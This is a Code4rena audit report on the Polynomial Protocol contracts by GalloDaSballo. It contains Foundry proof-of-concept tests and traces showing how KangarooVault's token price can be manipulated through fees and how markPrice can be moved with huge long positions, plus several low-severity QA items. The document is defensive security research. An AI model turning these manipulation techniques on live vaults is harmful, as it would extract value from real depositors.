Polynomial Protocol contest - GalloDaSballo's results

Judge has assessed an item in Issue #74 as 3 risk. The relevant finding follows:

Exchange Rate can be manipulated if positions are big enough for a long enough time

Lines of code

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/KangarooVault.sol#L341-L350

Vulnerability details

Impact

    function getTokenPrice() public view returns (uint256) {
        if (totalFunds == 0) {
            return 1e18;
        }

        uint256 totalSupply = getTotalSupply();
        if (positionData.positionId == 0) {
            return totalFunds.divWadDown(totalSupply);
        }

After a deposit, the funds are invested, doing so incurs a fee, which causes getTokenPrice to reduce, this offers a discount to later depositors

Because the fee impacts the token price, future depositors will be able to purchase the Vault token at a discount

This gives them an advantage as they'll be receiving yield without incurring the additional cost

Coded POC

The following POC is built by creating a new test file TestRebaseAttack.t.t.sol

The salient output from the test is the following

    ├─ emit Debug(name: tokenPrice, value: 1000000000000000000)
    ├─ emit Debug(name: newTokenPrice, value: 998684000000000000)

Which means that after creating the position to be delta neutral, due to fees being paid, the price of the token is lower, meaning it's cheaper to deposit after openPosition instead of before.

Below the full code for you to verify:

Can be run with forge test --match-test testOpenRebaseAttack -vvvvv

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import {console2} from "forge-std/console2.sol";

import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";
import {Exchange} from "../src/Exchange.sol";
import {TestSystem} from "./utils/TestSystem.sol";
import {KangarooVault} from "../src/KangarooVault.sol";
import {MockERC20Fail} from "../src/test-helpers/MockERC20Fail.sol";
import {LiquidityPool} from "../src/LiquidityPool.sol";
import {IPerpsV2MarketBaseTypes} from "../src/interfaces/synthetix/IPerpsV2MarketBaseTypes.sol";

contract TestRebaseAttack is TestSystem {
    using FixedPointMathLib for uint256;

    uint256 public constant initialPrice = 1200e18;

    Exchange private exchange;
    MockERC20Fail private susd;
    KangarooVault private kangaroo;
    LiquidityPool private pool;

    uint256 private leverage;
    uint256 private collRatio;

    bytes[] private emptyData;

    function setUp() public {
        deployTestSystem();
        initPool();
        initExchange();
        preparePool();
        setAssetPrice(initialPrice);
        initKangaroo();

        exchange = getExchange();
        susd = getSUSD();
        kangaroo = getKangaroo();
        pool = getPool();

        susd.mint(user_1, 5e23);

        vm.startPrank(user_1);
        susd.approve(address(kangaroo), 5e23);
        kangaroo.initiateDeposit(user_1, 1e23);
        vm.stopPrank();

        leverage = kangaroo.leverage();
        collRatio = kangaroo.collRatio();
    }


    event Debug(string name, uint256 value);

    function testOpenRebaseAttack() public {
        uint256 tokenPrice = kangaroo.getTokenPrice();
        assertEq(tokenPrice, 1e18, "!1e18");

        kangaroo.openPosition(1e19, 0);

        uint256 newTokenPrice = kangaroo.getTokenPrice();

        vm.startPrank(user_1);
        kangaroo.initiateDeposit(user_1, 1e18);
        vm.stopPrank();
        
        emit Debug("tokenPrice", tokenPrice);
        emit Debug("newTokenPrice", newTokenPrice);

        assertTrue(tokenPrice != newTokenPrice, "No change");
    }
}

Recommended Mitigation

It may be best to have a deposit or withdrawal fee that evens out the hedging costs as not to discourage early depositors

function testOpenRebaseAttack() public {
        uint256 tokenPrice = kangaroo.getTokenPrice();
        assertEq(tokenPrice, 1e18, "!1e18");

        kangaroo.openPosition(1e19, 0);

        uint256 newTokenPrice = kangaroo.getTokenPrice();

        vm.startPrank(user_2);
        kangaroo.initiateDeposit(user_2, 5e23);
        vm.stopPrank();

        kangaroo.processDepositQueue(1);


        emit Debug("tokenPrice", tokenPrice);
        emit Debug("newTokenPrice", newTokenPrice);
        emit Debug("VAULT_TOKEN.balanceOf(user_2)", VAULT_TOKEN.balanceOf(user_2));
        emit Debug("VAULT_TOKEN.balanceOf(user_1))", VAULT_TOKEN.balanceOf(user_1));

        assertTrue(tokenPrice != newTokenPrice, "No change");
        assertTrue(VAULT_TOKEN.balanceOf(user_2) > VAULT_TOKEN.balanceOf(user_1));
    }

    ├─ emit Debug(name: tokenPrice, value: 1000000000000000000)
    ├─ emit Debug(name: newTokenPrice, value: 998684000000000000)
    ├─ [542] VaultToken::balanceOf(0x53E2Cd188FE5E37D9bA9D267828B6be3975801D5) [staticcall]
    │   └─ ← 500658867069062886758974
    ├─ emit Debug(name: VAULT_TOKEN.balanceOf(user_2), value: 500658867069062886758974)
    ├─ [2542] VaultToken::balanceOf(0xe5ecc448cf264e5AB26D08C16e33263eF9E91676) [staticcall]
    │   └─ ← 100000000000000000000000
    ├─ emit Debug(name: VAULT_TOKEN.balanceOf(user_1)), value: 100000000000000000000000)
    ├─ [542] VaultToken::balanceOf(0xe5ecc448cf264e5AB26D08C16e33263eF9E91676) [staticcall]
    │   └─ ← 100000000000000000000000
    ├─ [542] VaultToken::balanceOf(0x53E2Cd188FE5E37D9bA9D267828B6be3975801D5) [staticcall]
    │   └─ ← 500658867069062886758974
    └─ ← ()

Executive Summary

The following report lists a few high impact QA items for the codebase

The following criteria are used for suggested severity

L - Low Severity -> Some risk

R - Refactoring -> Suggested changes for improvements

TOC

• 1. L - Exchange Rate can be manipulated if positions are big enough for a long enough time
  • 1.1. POC
• 2. L - Maybe best to separate pausing of Trade open and close functionality
  • 2.1. Recommendation
• 3. L - LiquidityPool has no saveToken function
• 4. L - Min and Max Deposit Amounts can be gamed
• 5. R - maxDepositAmount is not used
     • 5.1. - Lack of Validation on immutable values
     • 5.2. - Lack of check
• 6. R - Exchange - Unused var SUSD
• 7. R - Fuzzing would benefit by using higher runs

1. <a name='L-ExchangeRatecanbemanipulatedifpositionsarebigenoughforalongenoughtime'></a>L - Exchange Rate can be manipulated if positions are big enough for a long enough time

If exchangeRate can be maniupulated, then this can be used to extract value or grief withdrawals from the KangarooVault

From my experimentation, the values to manipulate the share price are very high, making the attack fairly unlikely.

That said, by manipulating markPrice we can get maniupulate getTokenPrice, which will cause a leak of value in withdrawals

This requires a fairly laborious setup (enough time has passed, from fairly thorough testing we need at least 1 week) And also requires a very high amount of capital (1 billion in the example, I think 100MLN works as well)

See POC below:

1.1. <a name='POC'></a>POC

Can be run via forge test --match-test testFundingRateDoesChange -vvvvv

After creating a new test file TestExchangeAttack.t.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import {console2} from "forge-std/console2.sol";

import {FixedPointMathLib} from "solmate/utils/FixedPointMathLib.sol";

import {TestSystem} from "./utils/TestSystem.sol";
import {Exchange} from "../src/Exchange.sol";
import {LiquidityPool} from "../src/LiquidityPool.sol";
import {PowerPerp} from "../src/PowerPerp.sol";
import {ShortToken} from "../src/ShortToken.sol";
import {ShortCollateral} from "../src/ShortCollateral.sol";
import {MockERC20Fail} from "../src/test-helpers/MockERC20Fail.sol";

contract TestExchangeAttack is TestSystem {
    using FixedPointMathLib for uint256;

    uint256 public constant initialPrice = 1200e18;

    Exchange private exchange;
    PowerPerp private powerPerp;
    ShortToken private shortToken;
    ShortCollateral private shortCollateral;
    MockERC20Fail private susd;

    LiquidityPool private pool;

    function setUp() public {
        deployTestSystem();
        initPool();
        initExchange();
        preparePool();
        setAssetPrice(initialPrice);

        exchange = getExchange();
        powerPerp = getPowerPerp();
        shortToken = getShortToken();
        shortCollateral = getShortCollateral();
        susd = getSUSD();
        pool = getPool();
    }


    function testDeployment() public {
        exchange.refresh();
        _testDeployment();
    }

    event Debug(string name, uint256 value);

    function testFundingRateDoesChange() public {
        (uint256 price,) = exchange.getIndexPrice();
        (uint256 markPrice,) = exchange.getMarkPrice();
        (int256 fundingRate,) = exchange.getFundingRate();

        assertEq(fundingRate, 0);

        deposit(1e40, user_3);
        
        // 10e26 = 1 Billion
        openLong(1e26,  1e34, user_2);
        // openShort(1e20,  user_1);

        vm.warp(block.timestamp + 20 weeks);

        (int256 newFundingRate,) = exchange.getFundingRate();

        emit Debug("fundingRate", uint256(fundingRate));
        emit Debug("newFundingRate", uint256(newFundingRate));
        assertTrue(fundingRate != newFundingRate, "newFundingRate has not changed");

        (uint256 newMarkPrice,) = exchange.getMarkPrice();

        emit Debug("markPrice", markPrice);
        emit Debug("newMarkPrice", newMarkPrice);
        assertTrue(markPrice != newMarkPrice, "price has not changed");
    }

    function deposit(uint256 amount, address user) internal {
        susd.mint(user, amount);

        vm.startPrank(user);
        susd.approve(address(getPool()), amount);
        pool.deposit(amount, user);
        vm.stopPrank();
    }
    function openLong(uint256 amount, uint256 maxCost, address user) internal {
        susd.mint(user, maxCost);

        Exchange.TradeParams memory tradeParams;

        tradeParams.isLong = true;
        tradeParams.amount = amount;
        tradeParams.maxCost = maxCost;

        vm.startPrank(user);
        susd.approve(address(getPool()), maxCost);
        exchange.openTrade(tradeParams);
        vm.stopPrank();
    }

    function closeLong(uint256 amount, uint256 minCost, address user) internal {
        require(powerPerp.balanceOf(user) == amount);

        Exchange.TradeParams memory tradeParams;

        tradeParams.isLong = true;
        tradeParams.amount = amount;
        tradeParams.minCost = minCost;

        vm.prank(user);
        exchange.closeTrade(tradeParams);
    }

    function openShort(uint256 amount, address user)
        internal
        returns (uint256 positionId, Exchange.TradeParams memory tradeParams)
    {

        uint256 collateral = shortCollateral.getMinCollateral(amount, address(susd));


        susd.mint(user, collateral);

        tradeParams.amount = amount;
        tradeParams.collateral = address(susd);
        tradeParams.collateralAmount = collateral;
        tradeParams.minCost = 0;


        vm.startPrank(user);
        susd.approve(address(exchange), collateral);
        (positionId,) = exchange.openTrade(tradeParams);
        vm.stopPrank();
    }

    function openShort(uint256 positionId, uint256 amount, uint256 collateral, address user) internal {
        Exchange.TradeParams memory tradeParams;
        susd.mint(user, collateral);

        tradeParams.positionId = positionId;
        tradeParams.amount = amount;
        tradeParams.collateral = address(susd);
        tradeParams.collateralAmount = collateral;
        tradeParams.minCost = 0;

        vm.startPrank(user);
        susd.approve(address(exchange), collateral);
        (positionId,) = exchange.openTrade(tradeParams);
        vm.stopPrank();
    }

    function closeShort(uint256 positionId, uint256 amount, uint256 maxCost, uint256 collAmt, address user)
        internal
        returns (Exchange.TradeParams memory tradeParams)
    {
        require(shortToken.ownerOf(positionId) == user);
        susd.mint(user, maxCost);

        (, uint256 shortAmount, uint256 collateralAmount, address collateral) = shortToken.shortPositions(positionId);

        tradeParams.amount = amount > shortAmount ? shortAmount : amount;
        tradeParams.collateral = collateral;
        tradeParams.collateralAmount = collAmt > collateralAmount ? collateralAmount : collAmt;
        tradeParams.maxCost = maxCost;
        tradeParams.positionId = positionId;

        vm.startPrank(user);
        susd.approve(address(getPool()), maxCost);
        exchange.closeTrade(tradeParams);
        vm.stopPrank();
    }
}

As you can see we can move the markPrice, which will impact the valuation of the KangarooShares during withdrawals

    │   └─ ← 719999999999999999280, false
    ├─ emit Debug(name: markPrice, value: 720000000000000000000)
    ├─ emit Debug(name: newMarkPrice, value: 719999999999999999280)
    └─ ← ()

2. <a name='L-MaybebesttoseparatepausingofTradeopenandclosefunctionality'></a>L - Maybe best to separate pausing of Trade open and close functionality

This can help setup a "withdrawal" only mode in which trades that have been created can be closed as intended

2.1. <a name='Recommendation'></a>Recommendation

Change

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/Exchange.sol#L104-L105

        whenNotPaused("EXCHANGE_TRADE")

To

        whenNotPaused("EXCHANGE_TRADE_CLOSE")

3. <a name='L-LiquidityPoolhasnosaveTokenfunction'></a>L - LiquidityPool has no saveToken function

Some protocols will target top TVL contracts and accounts as a way to distribute their tokens initially.

Because the Vault and LiquidityPool don't have a sweep function for random tokens, Aidrops may be lost.

While it's fine not to add the extra complexity, it's important to consider the risk of missing out on airdrops, which could impact end users and their opportunity cost

4. <a name='L-MinandMaxDepositAmountscanbegamed'></a>L - Min and Max Deposit Amounts can be gamed

By chunking up a trade into smaller ones, the max deposit amount can be gamed

Consider adding a global total deposits tracker if you wish to have a guarded launch with limited value at risk

5. <a name='R-maxDepositAmountisnotused'></a>R - maxDepositAmount is not used

The goal for capping deposit is typically a risk-aware launch-strategy

There's no check using maxDepositAmount which means that there's no way to limit deposits

Usual Suspects

5.1. <a name='LackofValidationonimmutablevalues'></a>- Lack of Validation on immutable values

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/KangarooVault.sol#L165-L171

        VAULT_TOKEN = _vaultToken;
        EXCHANGE = _exchange;
        LIQUIDITY_POOL = _pool;
        PERP_MARKET = _perpMarket;
        UNDERLYING_SYNTH_KEY = _underlyingKey;
        name = _name;
        SUSD = _susd;

5.2. <a name='Lackofcheck'></a>- Lack of check

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/KangarooVault.sol#L519-L525

    /// @notice Set Price Impact Delta
    /// @param _delta New Price Impact Delta
    function setPriceImpactDelta(uint256 _delta) external requiresAuth {
        emit UpdatePriceImpactDelta(perpPriceImpact, _delta);
        perpPriceImpact = _delta;
    }

6. <a name='R-Exchange-UnusedvarSUSD'></a>R - Exchange - Unused var SUSD

https://github.com/code-423n4/2023-03-polynomial/blob/aeecafc8aaceab1ebeb94117459946032ccdff1e/src/Exchange.sol#L49-L50

    /// @notice sUSD / Quote token instance
    ERC20 public SUSD;

Suggestions

7. <a name='R-Fuzzingwouldbenefitbyusinghigherruns'></a>R - Fuzzing would benefit by using higher runs

256 is typically good enough to test edge cases, but may not be sufficient to find very specific issues that happen with odd combinations

It may be best to have a separate fuzzing branch with 10s of thousands of runs